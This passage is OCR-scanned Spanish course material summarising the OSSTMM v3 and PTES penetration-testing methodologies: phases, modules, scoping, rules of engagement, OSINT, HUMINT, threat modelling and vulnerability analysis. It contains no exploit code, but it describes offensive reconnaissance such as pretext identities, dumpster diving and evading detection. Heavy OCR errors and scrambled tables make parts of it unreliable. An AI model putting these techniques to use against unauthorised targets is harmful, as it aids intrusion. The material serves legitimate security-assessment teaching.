con la BBDD de usuarios, que no deje autenticarse a todo el mundo con
la contrasefia errénea).

e No-Repudio: Cada instancia en la que haya un mecanismo de no-
repudio de tal manera que no pueda decir un tercero que no ha sido
quien ha realizado la interaccion si realmente si ha sido.

e Confidencialidad: Puntos en donde se mantiene la confidencialidad de
informacion sensible (ej. Criptografia).

e Privacidad: Se mantiene la privacidad entre ambas partes.

Formula de seguridad operacional

El RAV se deriva de tres categorias definidas dentro del alcance: Seguridad
Operacional, Controles y Limitaciones. Para comenzar, primero debemos agregar y
asociar toda nuestra informacién de entrada a las categorias apropiadas para cada
variable de entrada.

La ecuacion RAV requiere que a cada una de las categorias se le asigne un valor base
logaritmico para escalar los tres factores de Seguridad real de acuerdo con el alcance.
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Visibilidad Exposicion
Confianza
Acceso Vulnerabilidad

llustracion: Todos los valores que influyen en la puntuacion RAV

1. autenticacion
2. indemnizacioén
3. subyugacién Debilidad
4. continuidad

9. resiliencia

6. no repudio
7. confidencialidad

8. privacidad Preocupacién
9. integridad
10. Alarma
Anomalia |

FASES DE LA METODOLOGIA OSSTMM v 3.0
Open Source Security Testing Methodology Manual
Esta metodologia separa lo que se necesita hacer en este formato jerarquico:
1 CANAL
2. MODULO
3. TAREA
Esta metodologia se aplica a los cinco canales. Tiene 17 médulos, cada uno describe
multiples tareas, y todas las mismas propiedades se aplican a los cinco canales. Si bien
la metodologia en si misma puede ser la misma, cada canal difiere en tareas.

e Posture Review (Revision Previa): ldentificar las reglas, normas,
regulaciones, leyes y politicas aplicables al objetivo. Para poder saber
gue pruebas se pueden hacer y cuales no.

e Logistics (Logistica): La preparacion del canal de pruebas (COMSEC)
para evitar falsos positivos y falsos negativos.

e Active Detection Verification (Deteccion Activa): Identificar los
controles de seguridad activos y pasivos, para que sea mas facil la
eleccion de las pruebas a realizar. El encargado de estos controles
podria estar avisado de las pruebas que se van a realizar.

e Visibility Audit (Visibilidad): Enumerar los objetivos del alcance
mediante interaccién con los sistemas vivos.
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Access Verification (Verificaciéon Acceso): Hay que enumerar los
puntos de acceso del objetivo.

Trust Verification (Verificacion de Confianza): Acceso a informacion
sin la necesidad de estar identificado o autenticado.

Controls Verification (Verificacion de Controles): Enumerar y verificar
medidas de seguridad de los servicios y activos.

Process Verification (Verificacion de Procesos): Evaluar los procesos
encargados de las tareas de seguridad, para ver si se estén realizando
de forma correcta. Esto corresponde al tipo de auditorias en donde el
objetivo es evaluar la capacidad del equipo de seguridad de la
organizacion.

Configuration Verification (Verificacion de Configuracion): Busca
toda la informacién, técnica o no, sobre cémo los activos funcionan en
busca de malas configuraciones, inseguras o inexistentes.

Property Validation (Validacion): Verificar la existencia de datos o
informacion que pueda ser ilegal o poco ética.

Segregation Review (Revision de Segregacion): Revisa la correcta
separacion de informacién privada y personal, de la informacion
propiedad de la organizacion. De tal forma que el almacenamiento, la
transmision y control de la informacion del personal, de partners o de
clientes se gestione de forma correcta. Estas pruebas son de evaluar los
procesos internos.

Exposure Verification (Exposicion): Localiza y revisa informacion que
pueda ser utilizada para acceder a mdltiples sitios con la misma
autenticacion.

Competitive Intelligence Scouting (Inteligencia): Buscar informacion
gue pueda ser considerada para la inteligencia de negocios relacionada
con la parte econ6mica y de espionaje industrial. Esta informacién se
refiere a relaciones de la empresa con empleados, partners,
distribuidores, contactos, finanzas, estrategias y planes.

Quarantine Verification (Cuarentena): Las medidas de contencién son
las encargadas de manejar la entrada de amenazas en la red de la
organizacion. La identificacion de los mecanismos de seguridad y la
politica de respuesta del objetivo es una tarea importante. Las pruebas
para la verificacion del correcto filtrado y la contencion de los contactos
agresivos u hostiles en los puntos de entrada son muy importantes.

Privileges Audit (Escalado de Privilegios): Pruebas en las que el
analista ha recibido algun tipo de credencial.
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e SurvivabilityValidation (Validacion de Supervivencia):
Determina la resistencia del objetivo ante pruebas de stress.
e Alert and Log Review (Revision de Logs y Alertas): Analizar la correcta
gestion de alertas y logs que ha generado el proceso de analisis.

FASES DE LA METODOLOGIA

Para elegir un tipo de prueba adecuado, lo mejor es entender primero cOmo sus
modulos estan disefiados para trabajar. Dependiendo de la minuciosidad, negocio,
asignacion de tiempo y los requisitos de la auditoria, el analista puede programar los
detalles de la misma realizada por fases, en la metodologia OSSTMM versién 3 hay
cuatro fases en su ejecucion: Fase de Induccién, de Interaccion, de Indagacién y de
Intervencion [1].

FASE 1: Induccion

En esta fase, el analista comienza la auditoria con una comprension de los requisitos
de auditoria, el alcance y las limitaciones para la auditoria de este alcance. A menudo,
el tipo de prueba se determina mejor después de esta fase.

Médulo Descripcion Explicacion

La revision de la cultura, las Conocer el alcance y lo que

Al .y __|reglas, normas, reglamentos, ;.0 que hacer examenes.
Revision Previa ||egislacion y politicas aplicables Requerido si la fase C se
a la meta.

lleve a cabo correctamente.

La medicion de las limitaciones

A2 de interaccion tales como la|conocer las limitaciones del
distancia, la velocidad, ser que la auditoria. Esto
y falibilidad para determinar los Minimizara el error y mejorar
margenes de precision en los| eficiencia

resultados.

Logistica

Deteccién  activa la Conozca las restricciones

U verificacion de la practicay la | impuestas a las pruebas
Verificacion ) » . .
A3 amplitud de la deteccion de la interactivas. Esto es
interaccion, la respuesta, y la necesario para realizar
previsibilidad de respuesta. correctamente las fases B y
D.
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FASE 2: Interaccion

Para que la auditoria de seguridad se desarrolle correctamente, serd necesario
elaborar un plan de auditoria. El objetivo de esta planificacion es la recopilacion de
informacion de la organizacion y de sus sistemas informéticos para obtener una
informacion global del area a auditar. La recopilacion de informacion se debera realizar
a través de observaciones, entrevistas con los agentes que interactian con el sistema y
con la solicitud de documentos e informacion a los responsables de la organizacion.
Con esto, el auditor ya serd capaz de definir concretamente el objetivo general del
estudio, el alcance que la auditoria debera tener y el programa desarrollado de las
tareas de auditoria.

Modulo Descripcion Explicacion
La determinacién de los Sepa qué objetivos existen y como
objetivos a ser probados interactdan con el alcance, si es que
B.4 dentro del alcance. La lo hacen. Un objetivo muerto o
Auditoria de | Visibilidad se considera como |perdido también es un objetivo que
Visibilidad "presencia” y no se limita a la | no responde. Sin embargo, un
vista humana. objetivo que no responde no es
necesariamente un objetivo perdido.
La medicion de la amplitud y |El punto de acceso es el punto
la profundidad de los puntos | principal de cualquier interaccion de
B5 de acceso interactivo dentro | activos. Verificar que exista un punto
Verificacion de |del objetivo y la autenticaciébn |de acceso es una parte de determinar
acceso requerida. Su proposito. La verificacion completa
requiere saber todo lo que hay que
saber sobre el punto de acceso.
La determinacion de las Los fideicomisos para nuevos
relaciones de confianza desde | procesos a menudo son muy
Verificacion de |y entre los objetivos. Existe limitados donde los procesos mas
B.6 Confianza una relacion de confianza antiguos tienen una evolucion
siempre que el objetivo acepte | aparentemente cadtica hacia el
la interaccién entre los externo. Conocer las relaciones de
objetivos en el alcance. confianza entre los objetivos mostrara
la edad o el valor de la interaccion.
La medicion del uso y la La mayoria de los procesos se
efectividad de los controles de |definen en respuesta a una
B.7 pérdida basados en procesos |interaccion necesaria y algunos
Verificacion de |(Clase B): no repudio, permanecen mucho tiempo después
control confidencialidad, privacidad e |de que la interaccion se detiene o ha
integridad. El control de la cambiado. Saber qué controles de
alarma se verifica al final de la | proceso existen es un tipo de
metodologia. arqueologia de seguridad.
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FASE 3: Investigacion

Cuando ya se ha completado la fase de interaccion, el siguiente paso es indagar. La
fase de indagacion consiste en la realizacion de una serie de pruebas cuyos resultados
permitan detectar debilidades y fortalezas del sistema de informacion auditado y
justifiquen la deteccion de las evidencias.

Moédulo

Descripcion

Explicacion

La determinacibn de la
existencia y la efectividad del

Conozca los controladores y sus
rutinas para los controles. La
mayoria de los procesos tendran un

registro y el mantenimiento | conjunto definido de reglas, sin
C.8 Verificacion de |de los niveles de seguridad | embargo, las operaciones reales
procesos reales existentes o la | reflejan cualquier eficiencia, pereza o
diligencia definida por la | paranoia que pueda redefinir las
revision de la postura y los | reglas. Entonces, no solo se trata de
controles de indemnizacion. gue el proceso esté alli, sino también
de como funciona.
Este médulo explora las condiciones
La investigacion del estado | predeterminadas bajo las cuales los
estable (operacion normal) | objetivos operan regularmente para
Verificacion de los objetivos, ya que han comprender la intencién, la
C.9 de sido disefiados para operar | justificacion comercial y el
configuracion |en condiciones normales | razonamiento de los objetivos.
[ Verificacion para determinar prOblemaS Ademas, muchas reg|amentaciones
de subyacentes fuera de la | requieren informacién sobre cémo se
entrenamient aplicacién de pruebas de planifica que algo funcione, y esto no
0 estrés de seguridad. siempre es evidente en la ejecucion
de ese trabajo.
La medicion de la amplitud y
la profundidad en el uso de la | Conozca el estado de los derechos
C.10 Validacion de | propiedad intelectual 0 | de propiedad.
propiedad aplicaciones ilegales o sin
licencia dentro del objetivo.
Una determinacion de los | Sepa qué derechos de privacidad se
niveles de informacion de | aplican y en qué medida la
c.11 Revision de |identificacién personal | informacién de identificacion
segregacion |definida por la revision de la | personal no cubierta se puede
postura. clasificar en funcibn de estos
requisitos.
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La busqueda de informacion

La palabra en la calle tiene valor.

disponible libremente que | Descubra informacién sobre
C.12 | Verificacion de |describe la visibilidad | objetivos y activos de fuentes
exposicion |indirecta de los objetivos o | puablicas, incluida la de los propios

activos dentro del canal | objetivos.

elegido del alcance.

La busqueda de informacion | Puede haber mas valor en la
libremente disponible, directa | informacion de los procesos vy
Exploraciéon de o indirectamente, que podria | objetivos que los activos que estan
C.13 inteligencia |dafar o] afectar | protegiendo. Descubra informacion
competitiva |negativamente al propietario | que, por si sola o en conjunto, puede

del objetivo a través de | influir en las decisiones
medios externos y | empresariales competitivas.
competitivos.

FASE 4: Intervencion

Estas pruebas se centran en los recursos de los objetivos requeridos en la aplicacion
de los mismos que se pueden intercambiar, cambiar, sobrecargar, o morir a causa de la
penetracion o interrupcion. Esto es a menudo la fase final de una prueba de seguridad
para asegurar que las interrupciones no afecten a las respuestas de las pruebas menos
invasivas y porque la informacion para hacer estas pruebas no puede ser conocida

hasta que otras fases se han llevado a cabo.

Moédulo Descripcion Explicacion
La determinacién y medicion del Dioigiulliis [V GUSRIbEe S
Verificacién . los controles de
D.14 de cuarentena uso ef(ejctlv? e 1@ cuar%ntena autenticacion y subyugacion
gglr%t:ﬁati?/i 213 GRS 1 Gl en f[érminos de cuarentenas
' de lista en blanco y negro.
El mapeo y la mediciébn del Determine la efectividad de
Auditoria impacto del uso indebido de los |la  autorizacion en los
D.15 de Privilegios controles de subyugacion, las controles de autenticacion,
credenciales y los privilegios o la | indemnizacion y subyugacién
escalada no autorizada de |en términos de profundidad y
privilegios. roles.
La determinacion y medicion de | Determine la efectividad de
Validacién de la resistencia del objetivo a | los controles de continuidad
D.16/ supervivencia/ |cambios excesivos o adversos |y resiliencia a través de la
continuidad del |en los que se veran afectados | verificacion de la denegacion
servicio los controles de continuidad y | de servicio y la negacion de
resiliencia. la interactividad.
Una revision de las actividades
Alertay registro |de auditoria llevadas a cabo con Sepa qué partes de la
D.17| Revision / Finalizar la verdadera profundidad de  auditoria dejaron un rastro
encuesta esas actividades registradas por | (til y confiable.
el objetivo o de un tercero como
en el control de alarma.
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PTES

Estandar de ejecucion de pruebas de penetracion (PTES, Penetration Testing
Executivo Standard). Es un nuevo estandar disefiado para proporcionar tanto a
las empresas como a los proveedores de servicios de seguridad un lenguaje
comun y alcance para realizar pruebas de penetracion (es decir, evaluaciones de
seguridad). Comenzé a principios de 2009 después de una discusion que provocé
entre algunos de los miembros fundadores sobre el valor (o la falta de) de las
pruebas de penetracion en la industria.

El estdndar de ejecucion de pruebas de penetracion consta de siete (7) secciones
principales:

1. Interacciones Previas Al Compromiso

El objetivo de esta seccion del PTES es presentar y explicar las herramientas y
técnicas disponibles que ayudan en un paso previo al compromiso exitoso de
una prueba de penetracion. La informacidén de esta seccion es el resultado de
los muchos afos de experiencia combinada de algunos de los probadores de
penetracion mas exitosos del mundo.

Alcance

Es posiblemente uno de los componentes mas importantes de una prueba de
penetracion puesto que la precede definiéndose en la preparacion, el alcance de
un proyecto define especificamente lo que se probara

Métricas para la estimacién del tiempo

PTES recomienda que una vez estimado el tiempo necesario para realizar la
prueba, agregar un 20% de tiempo adicional como practica prudente, ademas
de establecer fechas limites para el inicio y cierre de las pruebas.

Reuniéon de alcance

El objetivo de la reunién de alcance es analizar qué se probara. Las reglas de
participacion y los costos no seran cubiertos en esta reunion. Cada uno de estos
temas debe manejarse en reuniones donde cada pieza es el foco de esa reunion,
por lo cual es recomendable hacer estar reuniones antes de firmar un contrato
para la evaluacion de seguridad, pero si después de firmar un contrato de
confidencialidad

Soporte adicional basado en la tarifa por hora

Todo lo que no esté explicitamente cubierto dentro del alcance del compromiso
debe manejarse con mucho cuidado, por dos razones principales el consumo de
recursos al expandir el alcance y por las ramificaciones. Por lo cual cualquier
solicitud fuera del alcance original debe documentarse en forma de una
declaracion de trabajo que identifiqgue claramente el trabajo a realizar, de manera
legal y monetaria.
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Cuestionarios

Durante las comunicaciones iniciales con el cliente hay varias preguntas que el
cliente tendra que responder para que el alcance del compromiso se pueda
estimar correctamente.

1. Interacciones Previas Al Compromiso

Preguntas generales

Estas preguntas estan disefiadas para proporcionar una mejor comprension de lo
que el cliente busca obtener de la prueba de penetracion, por lo cual se realizan
preguntas asociadas a: pruebas de penetracion de red, pruebas de penetracion
de aplicaciones web, pruebas de penetracion a redes inalambricas, pruebas de
penetracion fisica, ingenieria social, preguntas para gerentes de unidades de
negocios, preguntas para los administradores de sistema

Alcance Creep

El alcance de influencia es la manera mas facil para alejar los negocios, por lo
cual se recomienda hacer que el cliente quede satisfecho con el trabajo realizado
en un trabajo en particular, para promover a que solicite trabajo adicional y
segundo el mantener precios bajos

Especifique las fechas de inicio y finalizacion

Declarar explicitamente las fechas de inicio y finalizacion, permite que el
proyecto tenga un final definido. Para mitigar este riesgo, agregue una
declaracion simple al contrato que mencione que todas las nuevas pruebas
deben realizarse dentro de un determinado periodo de tiempo después de la
entrega del informe final

Especificar rangos de IP y dominios

Antes de comenzar una prueba de penetracidén, se deben identificar todos los
objetivos. Estos objetivos deben obtenerse del cliente durante la fase inicial del
cuestionario. Los objetivos se pueden proporcionar en forma de direcciones IP
especificas, rangos de red o nombres de dominio por parte del cliente.

Tratando con terceros

Lo mas importante que se debe recordar es que, si bien el permiso puede haber
sido otorgado por el cliente, no hablan por sus proveedores externos. Por lo
tanto, se debe obtener permiso de ellos también para probar los sistemas
alojados. No obtener los permisos adecuados trae consigo, como siempre, la
posibilidad de violar la ley.

Definir pretextos de ingenieria social aceptables

Muchas organizaciones querran que su postura de seguridad sea probada de
una manera que esté alineada con los ataques actuales. La ingenieria social y
los atagues de spear-phishing son actualmente ampliamente utilizados por
muchos atacantes en la actualidad. Si bien la mayoria de los ataques exitosos
usan pretextos como sexo, drogas y rock and roll (pornografia, Viagra y iPods
gratis, respectivamente), algunos de estos pretextos pueden no ser aceptables
en un entorno corporativo. Asegurese de que cualquier pretexto elegido para la
prueba se apruebe por escrito antes de que comience la prueba.
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Prueba de DoS

Pruebas de estrés o pruebas de denegacion de servicio deben discutirse antes
de que comience el compromiso. Puede ser un tema con el que muchas
organizaciones se sienten incomodas debido a la naturaleza potencialmente
dafina de las pruebas y se deberia de considerar solo si la organizacion también
esta preocupada por la disponibilidad de sus servicios.

Términos de pago

PTES presenta alguno de los métodos de pago mas comunes siendo
simplemente ejemplos. Se recomienda que cada organizacion cree y modifique
Su propia estructura de precios para adaptarse mejor a las necesidades de sus
clientes y de ellos mismos. Lo importante es que algun tipo de estructura esté en
su lugar antes de que comience la prueba, entre los métodos presentados estan:
medio por adelantado, periédico, entre otros

1. Interacciones Previas Al Compromiso

Metas

Cada prueba de penetracion debe estar orientada a los objetivos. Esto quiere
decir que el objetivo de la prueba es identificar las vulnerabilidades especificas
gue conducen a un compromiso de los objetivos comerciales o de la mision del
cliente. Se trata de identificar el riesgo que tendr4 un impacto adverso en la
organizacion.

Establecer lineas comunes

Uno de los aspectos mas importantes de cualquier prueba de penetracion es la
comunicacién con el cliente. La frecuencia con la que interactia con el cliente y
la manera en que se acerca a €l puede marcar una gran diferencia en su
sentimiento de satisfaccién, por lo cual PTES no presenta un marco de
comunicacion: informacion se contactoé en caso de emergencia

Informacion de contacto en caso de emergencia

e Es vital poder ponerse en contacto con el cliente u organizacion objetivo en
una emergencia. Pueden surgir emergencias y se debe haber establecido un
punto de contacto para manejarlas, Relna la siguiente informaciéon sobre
cada contacto de emergencia: nombre completo, titulo y responsabilidad
operacional, autorizacion para discutir los detalles de las actividades de
prueba, si no se ha especificado ya, dos formas de contacto inmediato las 24
horas, los 7 dias de la semana, como teléfono celular, buscapersonas o
teléfono residencial, si es posible, una forma de transferencia segura de
datos masivos, como sftp o correo electrénico encriptado

e Proceso de informacion de incidentes, Es importante hablar sobre las
capacidades actuales de respuesta a incidentes de la organizacién antes de
un compromiso

e Frecuencia de informes de estado, se ha establecido la frecuencia y el
cronograma de informes de estado.

e PGP, La comunicacion con el cliente es una parte absolutamente necesaria
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de cualquier compromiso de prueba de penetracion y debido a la naturaleza
sensible del compromiso, las comunicaciones de informacion confidencial
deben estar encriptadas, especialmente el informe final. Antes de que
comience la prueba, se debe establecer un medio de comunicacion segura
con el cliente.

Reglas de compromiso

Si bien el alcance define lo que se probard, las reglas de compromiso definen
cOmo se realizara esa prueba.

e Cronologia, Se debe establecer un cronograma claro para el compromiso. Si
bien el alcance define el inicio y el final de un compromiso, las reglas de
compromiso definen todo lo que estd en medio. Debe entenderse que la
linea de tiempo cambiara a medida que progresa la prueba

¢ Ubicaciones, Otro parametro de cualquier compromiso dado que es
importante establecer con el cliente antes de tiempo es cualquier destino al
que los evaluadores deberan viajar durante la prueba. Esto podria ser tan
simple como identificar hoteles locales o complejos como identificar las leyes
aplicables de un pais objetivo especifico.

e Manejo de evidencias, Al manejar la evidencia de una prueba y las
diferentes etapas del informe, es increiblemente importante tener extremo
cuidado con los datos. Utilice siempre el cifrado y desinfecte su maquina de
prueba entre pruebas. Nunca distribuya memorias USB con informes de
prueba en conferencias de seguridad.

e Reuniones de estado regular, Durante todo el proceso de prueba, es
fundamental tener reuniones periddicas con el cliente para informarle del
progreso general de la prueba. Estas reuniones deben realizarse a diario y
deben ser lo més breves posible. Las reuniones deben mantenerse en tres
conceptos: planes, progreso y problemas.

e Hora del dia para probar, Los requisitos de la hora del dia deben estar bien
establecidos con el cliente antes de que comience la prueba.

e Tratado con shunning

e Permisos para probar, Uno de los documentos mas importantes que deben
obtenerse para una prueba de penetracién es el documento Permiso para
probar. Este documento establece el alcance y contiene una firma que
reconoce el conocimiento de las actividades de los evaluadores.

e Consideraciones legales, se aconseja verificar la legalidad de las tareas
comunes de pentest en la ubicacion donde se realizara el trabajo

Capacidades y tecnologias en el lugar

Es una buena prueba de penetracion no solo buscar sistemas sin parche. Sino
también probar las capacidades de la organizacion objetivo. Con ese fin, a
continuacion encontrard una lista de cosas que puede comparar durante la
prueba: Capacidad de detectar y responder a la recopilacion de informacion,
Capacidad de detectar y responder a la impresion de pie, Capacidad de detectar
y responder al escaneo y andlisis vulnerabilidades, Capacidad de detectar y
responder a la infiltracion (ataques), Capacidad de detectar y responder a la
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agregacion de datos, Capacidad para detectar y responder a la filtracion previa
de datos

General

En esta seccion se define las actividades de recopilacion de inteligencia de una
prueba de penetracion. Se proporcionar un estandar disefiado especificamente
para que el pentester realice un reconocimiento contra un objetivo, se detalla el
proceso de pensamiento y los objetivos del reconocimiento de pentesting, y
cuando se usa adecuadamente, ayuda al lector a producir un plan altamente
estratégico para atacar un objetivo.

La recopilacion de inteligencia se dividen en tres categorias:

e Recopilacion de informacién de nivel 1 proceso de recopilacion de
informacion con herramientas automatizadas

e Reunidon de informacion de nivel 2, usa herramientas automatizadas del
nivel 1 y algunos analisis manuales. Una buena comprension del negocio,
incluida informacibn como ubicacion fisica, relaciones comerciales,
organigrama, etc,

Recopilacion de informacion de nivel 3, usa herramientas automatizadas del nivel
1 y algunos andlisis manuales nivel 2, mas un andlisis mas profundo

Reunién de inteligencia

Se hace un reconocimiento contra un objetivo para reunir la mayor cantidad de
informacién posible que se utilizara al penetrar el objetivo durante las fases de
evaluacion y explotacion de la vulnerabilidad. Sirve para hacer una recopilaciéon
de inteligencia de codigo abierto para determinar puntos de entrada en una
organizacion, que pueden ser fisicos, electrénicos y / o humanos.

Seleccidén de objetivo

Identificacion y
nombramiento

Es importante comprender que una empresa puede tener una
cantidad de Dominios de Nivel Superior (TDL) diferentes y

de la meta negocios auxiliares. Si bien esta informacién deberia haberse
descubierto durante la fase de determinacion del alcance,
Considere las | Es una buena idea revisar las Reglas de participacion.

limitaciones de
las Reglas de
enfrentamiento

Siempre, haga referencia a los reglas de compromiso para
mantener sus pruebas enfocadas. Esto no solo es importante
desde la perspectiva de Legal, sino que también es importante
desde una perspectiva de alcance Creep

Considera la
duracién del

a cantidad de tiempo para la prueba total tendra un impacto
directo en la cantidad de recopilacion de inteligencia que se
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tiempo para la
prueba

puede hacer

Considerar el
objetivo final de

Cada prueba tiene un objetivo final en mente: un activo o
proceso  particular que la organizacibn  considera
critico. Teniendo en cuenta el resultado final, la fase de

la prueba recopilacion de inteligencia debe garantizar la inclusion de
todos los elementos secundarios y terciarios que rodean el
objetivo final. Ya se trate de tecnologias de soporte, terceros,
personal relevante, etc.

OSINT

La inteligencia de codigo abierto (OSINT, Open Source Intelligence ) toma tres
formas; Pasivo, Semi-pasivo y Activo.

Reunion de informacion pasiva: generalmente solo es util si existe un
requisito muy claro de que el objetivo nunca detecte las actividades de
recopilacion de informacion. Este tipo de creacién de perfiles es técnicamente
dificil de realizar ya que nunca estamos enviando trafico a la organizacién
objetivo ni desde uno de nuestros hosts o servidores o servicios "anénimos" a
través de Internet. Esto significa que solo podemos usar y recopilar
informacion archivada o almacenada. Como tal, esta informacién puede estar
desactualizada o ser incorrecta ya que estamos limitados a los resultados
obtenidos de un tercero.

Recopilacion de informacion semi-pasiva: el objetivo de la recopilacién de
informacion semi-pasiva es perfilar el objetivo con métodos que aparecerian
como el trafico y el comportamiento normal de Internet consultando los
servidores de nombres publicados para obtener informacion, no realizamos
busquedas inversas en profundidad ni solicitudes DNS de fuerza bruta, no se
ejecutando puertos de escala de red o rastreadores. Solo se mira metadatos
en documentos y archivos publicados; no buscando activamente contenido
oculto.

Recopilacion de informacion activa: el objetivo debe detectar la recopilaciéon
de informacién activa y el comportamiento sospechoso o malicioso. Durante
esta etapa estamos mapeando activamente la infraestructura de red,
enumeramos activamente y / o escaneamos vulnerabilidades en los servicios
abiertos, estamos buscando activamente directorios, archivos y servidores no
publicados. La mayor parte de esta actividad recae en sus actividades de
“reconocimiento” o "exploracién” para su pentest estandar.

Reunién secreta

Seleccion de ubicaciones especificas para la
recoleccion en un sitio y luego realice el
reconocimiento a lo largo del tiempo (al menos de 2
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a 3 dias para garantizar los patrones). Se buscan los
Reunion en | siguientes elementos cuando se realiza la
el lugar recopilacion de inteligencia en el sitio: Inspecciones
de seguridad fisica, Escaneo inalambrico / escaneo
Corporativo de frecuencia de RF, Inspeccién de entrenamiento
de comportamiento del empleado, Instalaciones
accesibles / adyacentes (espacios compartidos),
Dumpster de buceo, Tipos de equipos en uso

Reunion Identificar ubicaciones fuera del sitio y su
fuera del importancia / relacion con la organizacion. Estas son
sitio ubicaciones légicas como fisicas segun: Centros de

datos, Aprovisionamiento de red / proveedor

La inteligencia humana complementa la recoleccion mas pasiva del
activo, ya que proporciona informacion que de otro modo no se
podria haber obtenido, y agrega mas perspectivas "personales” a la
HUMINT imagen de inteligencia. La metodologia para obtener inteligencia
humana siempre implica interaccién directa, ya sea fisica o
verbal. La reunién debe realizarse bajo una identidad asumida, que
se crearia especificamente para lograr una exposicién optima de la
informacion y la cooperacion del activo en cuestion

Huellas

La recopilacion de informacion externa, también conocida como footprinting, es
una fase de recopilacién de informacion que consiste en la interaccion con el
objetivo para obtener informacion desde una perspectiva externa a la
organizacién, debido a que se puede recopilar mucha informacién interactuando
con los objetivos.

e Huellas externas, es determinar los hosts que estaran dentro del
alcance. Hay una serie de técnicas que se pueden usar para identificar
sistemas, incluido el uso de busquedas DNS inversas, bruting de DNS,
busquedas de WHOIS en los dominios y los rangos. Estas técnicas y otras
estan documentadas a continuacion.

e Huellas interna, si el probador tiene acceso a la red interna, el rastreo de
paquetes puede proporcionar una gran cantidad de informacion. Al
realizar pruebas internas, al enumerar la subred local y, a menudo, puede
extrapolar desde alli a otras subredes modificando ligeramente la
direccion.

e I|dentificar los mecanismo de proteccion, Los siguientes elementos deben
identificarse y asignarse segun la ubicacién / grupo / personas relevantes
en el alcance. Esto permitira la aplicacion correcta de la investigacion y
explotacion de la vulnerabilidad que se utilizara al realizar el ataque real,
lo que maximiza la eficacia del ataque y minimiza la tasa de deteccion.
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3. Modelado de Amenazas

General

Esta seccion define un enfoque de modelado de amenazas como se requiere
para una ejecucion correcta de una prueba de penetracion, El estandar no utiliza
un modelo especifico, sino que requiere que el modelo utilizado sea consistente
en términos de su representacion de amenazas, sus capacidades, sus
calificaciones segun la organizacion que se esta probando y la capacidad de
aplicarse repetidamente a pruebas futuras con el mismos resultados, se centra
en dos elementos clave del modelado tradicional de amenazas: activos y
atacante

Anélisis de activos comerciales

Durante la parte del analisis del activo empresarial del ejercicio de modelado de
amenazas, se toma una visién centrada en los activos en todos los activos, y los
procesos comerciales que los respaldan, incluidos en el alcance. Al analizar la
documentacion reunida y entrevistar al personal relevante dentro de la
organizacion, el pentester puede identificar los activos que con mayor
probabilidad seran atacados por un atacante, cual es su valor y cual sera el
impacto de su pérdida

Anélisis de procesos comerciales

Los procesos comerciales y los activos (personas, tecnologia, dinero) que los
respaldan forman cadenas de valor. Al mapear estos procesos, identificar los
procesos criticos frente a los no criticos y eventualmente encontrar fallas en
ellos, podemos entender como funciona la empresa, qué les genera dinero vy,
finalmente, como las comunidades de amenazas especificas pueden hacer que
pierdan dinero.

Agente de amenazas/andlisis de la comunidad

Al definir las comunidades y agentes de amenazas relevantes, debe
proporcionarse una identificacién clara de la amenaza en términos de ubicacion
(interna / externa a la organizacion), la comunidad especifica dentro de la
ubicacion y cualquier informacién relevante adicional que ayude a establecer
capacidades. / perfil de motivacion para el agente / comunidad especifico. Donde
sea posible, se deben identificar agentes especificos.

Andlisis de capacidad de amenazas

Una vez que se ha identificado una comunidad de amenazas, las capacidades
de dicha comunidad también deben analizarse para construir un modelo de
amenaza preciso que refleje la probabilidad real de que dicha comunidad /
agente actle con éxito sobre la organizacién y la comprometa. Este andlisis
requiere tanto un analisis técnico como un analisis de oportunidad
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Motivacion de modelado

La posible motivacion de los agentes / comunidades amenazadoras debe
tenerse en cuenta para un analisis posterior. Las motivaciones de los atacantes
cambian constantemente, como puede verse por el aumento de los ataques de
marca de hacktivismo por parte de grupos como Anonymous Yy Antisec. Habra
diferencias sutiles en motivaciones Unicas basadas en cada organizaciéon y / o
mercado vertical, algunas motivaciones comunes incluyen: Beneficio (directo o
indirecto), Hacktivismo, Resentimiento directo, Diversion / Reputacion y Mas
acceso a los sistemas asociados / conectados

Encontrar noticias relevantes de organizaciones comparables
comprometidas

Para proporcionar un modelo de amenaza completo, se debe proporcionar una
comparaciéon con otras organizaciones dentro de la misma industria vertical. Esta
comparacion debe incluir cualquier incidente relevante o noticias relacionadas
con dichas organizaciones y los desafios que enfrentan. Tal comparacién se usa
para validar el modelo de amenaza y ofrecer una linea de base para que la
organizacion se compare

4. Analisis de Vulnerabilidad

Prueba

La prueba de vulnerabilidad es el proceso de descubrir fallas en sistemas y
aplicaciones que pueden ser aprovechadas por un atacante. Estos defectos
pueden variar desde la configuracion incorrecta del host y del servicio, hasta el
disefio de aplicaciones inseguras.

Al llevar a cabo andlisis de vulnerabilidad de cualquier tipo, el evaluador debe
enfocar adecuadamente las pruebas para conocer la profundidad y la amplitud
aplicables para cumplir los objetivos y / o requisitos del resultado deseado. Los
valores de profundidad pueden incluir cosas tales como la ubicacion de una
herramienta de evaluacion, requisitos de autenticacion, etc.

Activo

Las pruebas activas implican una interaccién directa con el componente que se
prueba para detectar vulnerabilidades de seguridad. Esto podria ser
componentes de bajo nivel, como la pila TCP en un dispositivo de red, o podrian
ser componentes mas arriba en la pila, como la interfaz basada en web utilizada
para administrar dicho dispositivo. Hay dos formas distintas de interactuar con el
componente objetivo: automatizado y manual.

Pasivo

Las pruebas pasivas son aquellas que se pueden llevar cabo a partir de :

eAndlisis de metadatos, El andlisis de metadatos implica mirar datos que
describen un archivo, en la cual se podria contener direcciones y rutas
internas a servidores, direcciones IP internas y otra informacion que un
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analizador de penetracion podria utilizar para obtener acceso o informacion
adicional.

eSupervision del trafico, La supervision del trafico es el concepto de
conectarse a una red interna y capturar datos para el analisis fuera de
linea. La intoxicacion de ruta se excluye de esta fase ya que crean "ruido” en
la red y pueden detectarse facilmente. A menudo es sorprendente la cantidad
de datos confidenciales que se pueden obtener de una red "conmutada”.

Validacién

Esta se puede llevar a cabo mediante:

eCorrelacion entre herramientas, Al trabajar con multiples herramientas, la
necesidad de correlacion de los hallazgos puede ser complicada. La
correlacion se puede dividir en dos estilos distintos, la correlacion de elementos
especifica y categérica, ambos son utiles en funcién del tipo de: informacién,
métricas y estadisticas que intenta reunir en un objetivo determinado.

ePrueba manual / Protocolo especifico, al probar un servicio especifico
como:

» DNS, Los sistemas de nombres de dominio pueden ofrecer una gran
cantidad de informacion a un atacante cuando no estan debidamente
reforzados. La informacion de la version permite una identificacion
adecuada y un analisis de investigacion preciso. .

» Web, Los servicios web proporcionan un gran panorama para un
atacante. A diferencia de la mayoria de los demas protocolos y servicios,
los servicios web a menudo se encuentran en ejecucion en mdltiples
puertos de un solo sistema.

Entre otros.

Investigacion

Investigacion publica, Una vez que una vulnerabilidad ha sido reportada en un
sistema objetivo, es necesario determinar la precisién de la identificacion del
